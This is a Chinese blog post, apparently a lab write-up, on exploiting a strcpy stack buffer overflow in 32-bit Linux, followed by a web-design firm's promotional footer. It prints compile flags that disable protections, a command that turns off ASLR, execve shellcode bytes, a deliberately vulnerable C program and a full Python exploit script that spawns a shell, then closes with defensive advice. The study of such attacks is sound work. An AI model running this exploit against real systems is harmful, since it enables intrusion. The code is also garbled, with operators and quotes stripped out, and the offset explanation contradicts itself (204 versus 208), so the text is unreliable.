缓冲区溢出实验复盘:从strcpy覆盖到shellcode实战

发布时间:2026/10/21 18:58:10
缓冲区溢出实验复盘:从strcpy覆盖到shellcode实战 缓冲区溢出攻击这个名词学计算机的人多少都听过但真正亲手把它跑通、拿到一个shell的人才算真正理解内存布局。某高校的软件安全课实验lab5就把题目直白地写成了这样通过strcpy函数的缓冲区溢出覆盖返回地址执行shellcode。很多同学做这个实验时照着教程敲一遍拿到root shell就交差了但真被问到为什么这样填、为什么地址是这个、为什么还要加NOP雪橇时又解释不清。这篇就当作一份实验复盘笔记来写把原理、环境、payload设计、调试踩坑全部拆开讲适合正在做类似实验的学生也适合对漏洞原理好奇、想搞懂这件事的开发者。做完这个实验你脑子里那张程序内存地图会清晰很多。1. 原理先拆透栈、返回地址与strcpy的漏洞链条1.1 函数调用时栈上到底发生了什么要想理解缓冲区溢出先得理解函数调用过程中栈的变化。x86 32位架构下栈从高地址向低地址增长。当程序调用一个函数时硬件和编译器会合作完成一系列压栈操作调用方先把参数压入栈call指令执行时会将调用点下一条指令的地址也就是返回地址压入栈进入被调函数后编译器生成的序言代码会执行push ebp把当前函数的栈帧基址保存下来然后mov ebp, esp更新栈帧再通过sub esp, N为局部变量分配空间。这时栈上的布局从高地址到低地址大致是参数、返回地址、保存的旧EBP、局部变量。注意局部变量在低地址方向而返回地址在高地址方向。数组在栈内连续存放并且数组名指向低地址的首元素所以越界写入时数据是向高地址方向推进的。也就是说从数组起始位置开始复制数据只要足够长就能一路覆盖到保存的EBP和返回地址。1.2 strcpy为什么是经典的突破口strcpy(dst, src)这个函数在C标准库里太常见了但它有一个致命缺陷它不检查目标缓冲区的大小只根据源字符串是否遇到\0来决定复制何时结束。如果源字符串比目标缓冲区长它会一路复制到缓冲区之外把栈上更高地址的内容全部覆盖掉。用生活里的例子来类比栈就像从高处往低处摆放的一排货架局部变量放在下面几层返回地址放在上面几层。strcpy就像一台传送带源源不断地从低层往上堆货。正常时堆到缓冲区边缘就该停但它没有限高机制继续往上堆结果把记录着这单货要送到哪里的便签返回地址也一并换掉了。所以攻击的起点往往是一个看上去无害的调用strcpy(buf, user_input)。我们只要精心构造user_input就可以精准改写返回地址。1.3 完整攻击链条覆盖返回地址到执行shellcode整个实验的攻击链路可以拆成四个环节定位返回地址的位置。也就是说得算出输入数据从哪个偏移开始恰好能命中返回地址在栈上的那4个字节。在输入数据中布置恶意代码也就是shellcode。这段机器码负责启动一个/bin/shshell。把返回地址改成栈上的某个地址让CPU在函数返回时跳到我们控制的区域。由于地址往往不会精确命中shellcode首字节通常会在shellcode前面铺一段NOP雪橇0x90指令让CPU无论落在雪橇的哪个位置都能一路滑进shellcode。当函数执行ret指令时CPU会把栈顶的4个字节弹出到EIP寄存器然后从新地址继续取指令执行。既然栈顶的返回地址已经被我们覆盖EIP就会跳到我们指定的位置开始执行栈上的数据。如果这段数据是execve(/bin/sh)的机器码那攻击就完成了程序变成我们的shell。在整个过程中最容易被忽略但也最关键的一点是你需要对栈上每个字节的位置有清晰认知。这个实验做好之后后续学Return-to-libc、ROP链都会轻松很多因为它们本质上都是在回答同一个问题——如何控制程序的执行流。2. 实验环境准备32位、关闭ASLR与三个关键的编译选项2.1 为什么这个实验几乎必须用32位环境很多同学在自己64位的笔记本上折腾半天发现要么编译报错要么漏洞程序跑不起来问题往往出在架构选择上。缓冲区溢出的教学实验通常要求x86 32位环境原因有两个。第一是地址问题。32位程序的栈地址通常落在0xffffxxxx附近这类地址的4个字节一般是\xXX\xXX\xff\xff像0xffffd3e4对应字节是\xe4\xd3\xff\xff里面没有\x00可以直接通过字符串类函数完整传入。而64位程序的栈地址通常是0x00007fffffffxxxx小端表示后前面会带好几个\x00字节。字符串函数遇到\x00就停止复制返回地址根本写不完整。第二是兼容性问题。很多经典漏洞程序、调试工具链在32位模式下工作得最顺畅。64位模式下虽然也能做实验但需要处理的细节更多对初学者不友好。所以我个人建议别跟环境较劲直接开一个32位虚拟机或者用带-m32编译支持的Linux系统来做。2.2 直击实验核心GCC编译的三个关键选项漏洞程序本身很简单关键在于编译时要关闭掉现代编译器默认加上的安全防护。下面是典型的编译命令gcc -m32 -fno-stack-protector -z execstack -no-pie -o vul vul.c逐个解释这三个选项-fno-stack-protector关闭栈保护。现代GCC会默认插入canary金丝雀值在返回地址之前放一个随机数函数返回前检查它有没有被改动。如果开着它你一覆盖缓冲区程序在返回前就检测到canary被破坏然后崩溃退出根本走不到返回地址覆盖那一步。-z execstack标记栈为可执行。默认Linux栈是不可执行的NX保护即使你把返回地址改到栈上CPU照样会报非法指令。加上这个选项才能让shellcode在栈上真正跑起来。-no-pie关闭位置无关可执行文件。如果不关程序每次加载的基址都可能不同调试时会多出很多干扰。关闭之后地址布局更稳定也方便在payload里写死返回地址。如果你的系统是64位Ubuntu/Debian还需要先安装32位编译支持一般是sudo apt install gcc-multilib。有的发行版还需要单独装gdb-multiarch。这些工具准备齐了实验环境才算真正就绪。2.3 关闭ASLR让栈地址不再随机地址空间布局随机化ASLR是操作系统层面让栈基址、堆基址、动态库地址随机变化的一种防护。如果开着ASLR你每次运行漏洞程序缓冲区在栈上的地址都不一样payload里写死的返回地址就只能靠运气命中。实验前需要关掉它sudo sysctl -w kernel.randomize_va_space0这个命令临时生效重启后会自动恢复。如果你用的是专门的实验虚拟机为了省事也可以直接改/etc/sysctl.conf永久关闭但我不建议在日常开发机器上这么做。关闭之后程序每次运行的栈地址就是固定的这样我们才可以在GDB里算好地址写成payload稳定复现攻击。3. Shellcode构造与payload布局设计3.1 手写一段23字节的/bin/sh shellcode先扫清一个概念问题shellcode不是某个专门工具生成的庞大攻击载荷它本质上就是一段可以完成特定功能的机器码。对于这个实验目标是执行/bin/sh。在Linux x86 32位下最经典的写法是调用execve系统调用xor eax, eax ; 清零eax push eax ; 压入字符串结束符\0 push 0x68732f2f ; 压入//sh push 0x6e69622f ; 压入/bin mov ebx, esp ; ebx指向/bin//sh push eax ; 压入NULL push ebx ; 压入字符串地址 mov ecx, esp ; ecx指向argv数组 mov al, 0xb ; eax 11, execve系统调用号 int 0x80 ; 触发中断执行系统调用这段代码对应的机器码是\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80注意看整段shellcode里没有任何一个\x00字节。这是刻意为之的因为shellcode最终要经过strcpy传入缓冲区而strcpy遇到\x00就停止复制。如果shellcode自带空字节后面的内容全都会被截断。这也是为什么写入/bin/sh时用的是0x68732f2f//sh多写一个斜杠来对齐4字节同时避免了\x00的出现。3.2 用NOP雪橇提高地址命中率实际攻击时要把返回地址精确到shellcode的第一字节难度非常大。因为GDB调试环境、程序运行环境之间的栈地址会有细微偏差你的0xffffd3b2打过去实际栈地址可能是0xffffd3a8或者0xffffd3c5相差几十个字节都很正常。解决办法是加NOP雪橇。NOP对应的机器码是0x90意思是什么都不做继续执行下一条指令。在shellcode前面铺上一大串0x90之后只要CPU跳到这一片区域的任意位置它就会一条条滑过NOP指令最终自然而然地进入shellcode。这很像滑雪场上的雪橇道只要上了雪橇道不管从哪里落地都能一路滑到终点。所以在payload布局里NOP雪橇不是可有可无的装饰而是让攻击变得稳定可靠的关键组件。缓冲区越大能铺的NOP越多攻击对地址误差的容忍度就越高。3.3 Payload的完整布局以这次实验的漏洞程序为例缓冲区为200字节返回地址在缓冲起始偏移204字节处。payload的整体布局可以这样设计低地址 [ NOP雪橇约100字节 | shellcode23字节 | 填充字符81字节 | 返回地址4字节 ] 高地址填充字符的目的是把NOP雪橇和shellcode之外的位置填满确保payload总长度恰好覆盖到返回地址。返回地址则直接写buf起始地址 某个偏移让它落在NOP雪橇的中段这样就算实际栈地址有几十字节偏差也不会飞出雪橇范围。为什么要用Python来构造payload因为payload里含有\xd3、\xff这类不可见字节用bash直接写字符串很容易出错。Python的bytes类型天然适合处理这类二进制数据。4. 全流程实操从崩溃到拿到shell4.1 编写漏洞程序并触发第一个崩溃先写一个简单的漏洞程序核心就是一次不安全的strcpy#include stdio.h #include string.h void vulnerable(char *input) { char buf[200]; strcpy(buf, input); } int main(int argc, char *argv[]) { if (argc 1) { vulnerable(argv[1]); } return 0; }编译sudo sysctl -w kernel.randomize_va_space0 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vul vul.c先验证一下程序确实会因为超长输入而崩溃./vul $(python3 -c print(A * 300))这时候正常会看到Segmentation fault。如果程序没有崩溃先检查是不是编译选项没生效或者系统里对应架构的库没装好。4.2 用GDB定位返回地址的精确偏移崩溃只是第一步我们还需要知道从哪里开始溢出才能覆盖到返回地址。这一步在GDB里做最直观gdb -q ./vul (gdb) b vulnerable (gdb) run $(python3 -c print(A * 300)) (gdb) p bufGDB会返回类似$1 (char (*)[200]) 0xffffd380这样的信息说明缓冲区起始地址在0xffffd380。接着用info frame查看当前函数的栈帧信息(gdb) info frame Stack level 0, frame at 0xffffd44c: saved eip 0x8048480这个saved eip就是返回地址在栈上存放的位置。回头看frame at 0xffffd44c它直接给出了当前帧的栈地址也就是保存EBP的位置。返回地址在保存EBP的上方4字节0xffffd44c 4 0xffffd450。那么从buf到返回地址的偏移就是0xffffd450 - 0xffffd380 0xD0 208这里有个容易绕晕的点buf是200字节但偏移却是208。因为GDB显示的frame at 0xffffd44c已经包含了函数栈帧的边界实际保存EBP的位置就在0xffffd44c返回地址在其后4字节。所以200字节的buf加上4字节的保存EBP正好204再加上我看到的frame at本身表示的地址边界差需要以GDB实际输出为准。你的实验里直接照这个思路算偏移 返回地址栈上位置 - 缓冲区起始地址。4.3 编写并运行攻击脚本得到偏移之后就可以写攻击脚本了。把shellcode放在NOP雪橇后面返回地址指向NOP雪橇中段#!/usr/bin/env python3 import struct import subprocess shellcode bytes([ 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 ]) # 覆盖偏移根据GDB结果调整 offset 208 nop_sled b\x90 * 100 padding_len offset - len(nop_sled) - len(shellcode) padding bA * padding_len # 返回地址指向buf50附近落在NOP雪橇内 ret_addr 0xffffd380 50 payload nop_sled shellcode padding struct.pack(I, ret_addr) subprocess.run([./vul, payload])这里ret_addr选择的是buf起始地址 50正好落在100字节NOP雪橇的中间位置。就算实际运行时的栈地址跟GDB里观察到的差了二三十字节EIP仍然落在NOP区域里能顺利滑进shellcode。4.4 观察攻击结果运行攻击脚本正常情况下你会看到shell提示符$ id uid1000(seed) gid1000(seed) groups1000(seed) $ whoami seed注意这个shell是漏洞程序派生出来的子进程权限跟漏洞程序相同。如果漏洞程序是root权限运行的那么这个shell就是root shell。很多教学实验会专门设计一个有漏洞的root程序让攻击者去攻击就是为了演示提权过程。在自己的实验环境里用普通用户跑一遍理解原理就够了。如果没拿到shell而是再次段错误不要慌这是这个实验最磨人的地方。排查思路我放在下一章。5. 问题排查与调试实录做这个实验几乎每个人都会踩到几个经典坑。我把最常见的问题和解决办法整理成了一份速查表现象可能原因排查/解决办法总是段错误EIP变成0x41414141偏移计算错误覆盖到了返回地址但没有精确控制用GDB查看saved eip位置重新计算偏移EIP不是0x41414141而是跳到了栈上但崩溃返回地址指向的位置不在有效指令里检查返回地址是否落在NOP雪橇范围内适当加大NOP长度GDB里能跑通直接运行就失败GDB环境与终端环境变量不同导致栈地址偏移给前几个地址加偏移量试几次或利用NOP雪橇覆盖误差返回地址含\x00攻击总是失败strcpy遇到\x00截断无法写入完整地址换一个不含\x00的栈地址或改用文件输入方式运行脚本时python报错bash报参数问题payload含不可见字节被shell截断使用subprocess.run直接传入字节或把payload写入文件再读取5.1 地址对不上GDB里和直接运行时的栈位置差异这是整个实验最让人头疼的问题。在GDB里buf的地址是0xffffd380但退出GDB直接运行时实际地址往往会有偏差。原因在于GDB启动时会给程序多注入一些环境变量导致整个栈向下或向上偏移几十字节。此外GDB默认还会对ASLR做额外处理虽然系统级的ASLR已经关掉但GDB自身的环境差异仍然存在。我的应对办法是不要指望一个地址打天下。把NOP雪橇铺得足够长同时在ret_addr上多做几个候选值比如buf30、buf50、buf70各试一遍一般总有一个能命中。实验环境里反复崩溃没有实际危害这种枚举地址本身就是漏洞利用的常见手法。5.2 返回地址里的\x00截断问题前面提到过strcpy遇到\x00就停止复制。如果返回地址是0xffffd400对应字节是\x00\xd4\xff\xff第一个字节就是\x00那么复制出来的内容在第一个字节处就停了后面三个字节根本写不进去。结果栈上原来的地址只有前几个字节被覆盖CPU返回时跳到乱七八糟的位置。解决办法是换地址。栈上地址那么多尽量选末两位字节都不为0x00的例如0xffffd3b2这种看起来不顺眼但反而更适合攻击的地址。实际操作中地址稍微挪几个字节影响很小但能不能完整写入就是天壤之别。5.3 用文件输入绕开字符截断如果你发现通过命令行参数传payload时shell脚本总是把空字节丢掉可以考虑把payload写入文件然后让漏洞程序从文件读取。这种情况下文件本身可以包含任意字节但strcpy对\x00的截断问题依然存在。所以从文件输入并不能解决所有问题它只是绕开了bash命令替换这一层截断。常见的文件输入版漏洞程序会修改成这样FILE *fp fopen(badfile, rb); fread(input, sizeof(input), 1, fp); vulnerable(input);如果你的实验允许修改漏洞程序这种方式调试起来更顺手因为你可以用xxd badfile随时检查payload里每个字节是不是符合预期。5.4 Shellcode本身不能含空字节很多人第一次构造shellcode直接从网上抄了一段结果怎么调都不成功。用objdump或者Python检查一下很可能机器码里带了\x00字节。比如直接写push 0x0068732f这种指令出来的字节里就会有\x00strcpy一截断后面的代码全废了。所以选shellcode时一定要专挑不含空字节的版本或者自己对机器码做一遍检查。把所有\x00过滤掉之后排错范围会小很多。6. 攻击实验做完回到防御视角6.1 四种防御机制分别挡住了哪一层这个实验能成功很大程度是因为我们把防御全部关掉了。反过来想现代系统为什么不再那么容易被打穿因为每一层防御都针对攻击链条的一个环节栈保护Canary在返回地址前放一个随机值每次函数返回前检查。如果缓冲区溢出覆盖了它程序直接终止。它挡住的是覆盖返回地址这一步。NX不可执行栈标记栈段不可执行。即使返回地址被改写跳到栈上也会触发非法指令。它挡住的是在栈上执行shellcode这一步。ASLR每次程序运行时栈、堆、动态库地址都随机排列。攻击者不能在payload里写死一个精确地址。它挡住的是预测返回地址这一步。PIE程序本身的加载基址也随机化攻击者不能利用固定的函数地址或gadget。它挡住的是跳转到固定位置这一步。这就解释了为什么在这个实验里你关掉了所有保护还要亲手关一次ASLR才能跑通。每关一个防御攻击成功率都会上一个台阶反过来每开一个防御攻击的难度都会陡增。6.2 作为开发者真正该记住的几点做攻击实验的目的不是学会怎么搞破坏而是理解防御为什么存在。从开发者视角看这个实验给出的警示非常直接永远优先使用安全版本的字符串函数。strncpy、snprintf、memcpy_s这类带长度限制的接口应该成为默认选择。对不可信输入做严格的长度校验。很多攻击发生在数据进入缓冲区之前源头拦截比事后补救便宜得多。不要为了性能或者省事关闭编译器防护。-fno-stack-protector这种选项出现在生产环境的Makefile里本身就是危险信号。让安全测试成为常态。哪怕只是跑一遍模糊测试、分析一次崩溃栈也能发现很多潜在问题。6.3 后续还可以继续深入的方向实验做完如果意犹未尽可以沿着几条线继续探索。一是Return-to-libc即使栈不可执行也可以把返回地址改成已有库函数比如system(/bin/sh)原理比直接执行shellcode更接近真实攻击。二是ROP链利用程序里本来就存在的gadget片段逐步构造恶意调用序列这是应对NX保护的主要绕过思路。三是结合格式化字符串漏洞可以覆盖内存任意位置防御思路又不一样。把这些都学完再看现代系统上的漏洞利用和防御就不再是零散的知识碎片而是一张完整的攻防地图。我个人做这个实验时卡得最久的是GDB地址和实际运行地址对不上。来回折腾了很久最后发现把NOP雪橇加长到100字节然后在几个候选地址间轮番试探问题很快就解决了。后来每次做类似的栈利用题我都会先问自己三个问题返回地址在哪个偏移跳转目标落在哪个有效区域输入里有没有会截断的空字节这三个问题想清楚大部分攻击路径的设计就完成了一半。这个实验也让我重新体会到一件事纸上谈兵看十遍函数调用栈都不如亲手跑一个Segmentation fault然后慢慢定位来记忆深刻。编程语言天然隐藏了太多底层细节但安全攻防恰恰要求你把那些被隐藏的细节重新挖出来。希望你做完这个实验也能建立起对内存的那份直觉。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询